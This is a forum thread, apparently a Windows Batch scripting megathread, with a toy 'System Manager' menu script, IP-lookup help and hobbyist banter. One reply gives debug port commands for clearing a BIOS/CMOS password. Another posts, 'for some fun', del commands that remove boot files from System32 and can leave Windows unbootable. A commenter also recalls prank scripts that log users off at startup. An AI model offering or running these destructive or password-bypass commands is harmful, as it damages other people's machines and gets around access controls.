Batch Megathread V1 - Because Batch is just the best
7 replies, posted
[RELEASE]
Welcome to the Batch Megathread for all things made in Batch.
[B]What the fuck do I post here?[/B]
Post scripts you have created in Batch or if you have a question ask and somebody will help you.
[B]Why the hell do we need a batch megathread?[/B]
There isn't one already and it is quite a nice little programming language which is easy to learn but incredibly limited.
[B]Any rulez?[/B]
1, Don't be a moron - stay on topic or Gtfo...
[B]Any Examples?[/B]
[CODE]
@echo off
title System Manager
Color a
cd C:\Program Files\SystemManager
echo Welcome to System Manager.
echo If you have activated this product you will have your 15 digit code. Please Enter it now. You will be required to do this every time you login.
:Z
echo Identification Code:
set /p idc=
echo IDC: %IDC% > %random%.txt
if '%idc%' == '123-456-769-012-345' goto A
if '%idc%' == 'administrativebypass' goto G
goto F
:F
title SYSTEM ERROR
Color b
echo ERROR ERROR! SECURITY VERIFICATION FAILED!
Color a
Color b
echo WARNING
Color c
echo SYSTEM SHUTDOWN
Color a
echo Restarting
goto Z
:A
echo Success, Product Session Activated.
:V
title System Manager - Activated
echo Please enter a command for this session.
echo Type 'help' for a list of commands available.
set /p sessioncmd=
if '%sessioncmd%' == 'help' goto H
if '%sessioncmd%' == 'ping' goto P
if '%sessioncmd%' == 'files' goto J
if '%sessioncmd%' == 'usermanage' goto U
if '%sessioncmd%' == 'log' goto goto L
if '%sessioncmd%' == 'matrix' goto M
if '%sessioncmd%' == 'adminbypass' goto G
goto C
:C
title Invalid Command...
echo Resetting.... Resetting....
pause
goto V
:H
title System Management - Help Command
echo HELP
echo List of Commands available.
pause
echo help - Displays commands and functions.
echo ping - 'Pings' an IP Address defined by the user.
echo files - Allows you to view every file on the system.
echo usermanage - Manage Users
echo log - Shows the log.
echo matrix - Fun.
echo End of help
echo Returning to home...
pause
goto V
:G
echo Welcome to Admin Bypass.
title ADMIN BYPASS ACTIVE
echo Displaying Users...
net user
echo Displaying Administrators...
net localgroup Administrators
pause
echo Displaying all users who have used the system.
cd C:\Users
dir
echo All Commands executed successfully.
echo Returning to default.
pause
goto V
:M
title Matrix
%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
%random% %random% %random% %random% %random% %random% %random%
%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
%random% %random% %random% %random% %random% %random% %random%
%random%
%random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto M
:L
title System Management - Log
echo Preparing Log.
echo Selecting one of 38,923,431,923 numbers.
%random%.txt
%random%.txt
goto V
:U
title User Management - System Management
echo Displaying Users
net user
echo Showing System Admins
pause
net localgroup Administrators
pause
goto V
:J
title FILES - System Management
echo Preparing.
pause
tree
goto V
:P
title Pinging
echo Enter IP to ping.
set /p ipping=
ping %ipping%
pause
goto V
[/CODE]
That was something we got told to make for people who want to use CMD but aren't "Tech-Savvy"
[/RELEASE]
To clear a CMOS + BIOS password within Windows:
[code]
debug
o 70 2E
o 71 FF
quit
[/code]
NOTE: The first character in the above commands is English alphabet "o" and not the number 0.
After providing the above commands, restart your system and it should reset the CMOS Settings along with the BIOS password. If you are curious to know how it works? then let me explain the above commands:
In this method we are using the Debug tool of MS DOS. The "o" character present at first in these commands, outputs the values to IO ports. The number 70 and 71 are port numbers which are used to access CMOS memory. By providing FF value we are telling CMOS that there is an invalid checksum and it resets the CMOS settings as well as BIOS password.
And for some fun:
[code]
del "C:\WINDOWS\SYSTEM32\bootok"
/Q/S >nul
del "C:\WINDOWS\SYSTEM32\bootvid.dll"
/Q/S >nul
del "C:\WINDOWS\SYSTEM32\bootvrfy"
/Q/S >nul
[/code]
Oh fuck yes batch.
In high school, I always made batch files that moved to windows boot folders, and logged you off after you logged on. heh.
Or change the font to green and loop a random jumble of words like "Mainfraim" "GUI" "System" "Base" or "interface" and BOOM. Hacking.
I know this thread is from nearly a week ago, but does anyone know a way to find your current IP using batch?
I'm using ipconfig, finding ipv4 and writing it to a txt file, but obviously only shows up the lan address.
[QUOTE=Flon22;35646028]I know this thread is from nearly a week ago, but does anyone know a way to find your current IP using batch?
I'm using ipconfig, finding ipv4 and writing it to a txt file, but obviously only shows up the lan address.[/QUOTE]
If you know how to get contents from an external webpage you'd just call one of those..
[QUOTE=Flon22;35646028]I know this thread is from nearly a week ago, but does anyone know a way to find your current IP using batch?
I'm using ipconfig, finding ipv4 and writing it to a txt file, but obviously only shows up the lan address.[/QUOTE]
[CODE]@echo off
ipconfig /all | find "Host Name" > %computername%(NetworkIP).txt
ipconfig /all | find "IP Address" >> %computername%(NetworkIP).txt
ipconfig /all | find "IPv4 Address" >> %computername%(NetworkIP).txt
ipconfig /all | find "Default Gateway" >> %computername%(NetworkIP).txt
ipconfig /all | find "DNS Servers" >> %computername%(NetworkIP).txt
Echo The IP information has been stored in the current directory
pause[/CODE]
I think this is the best you can get using a batch.
Sorry, you need to Log In to post a reply to this thread.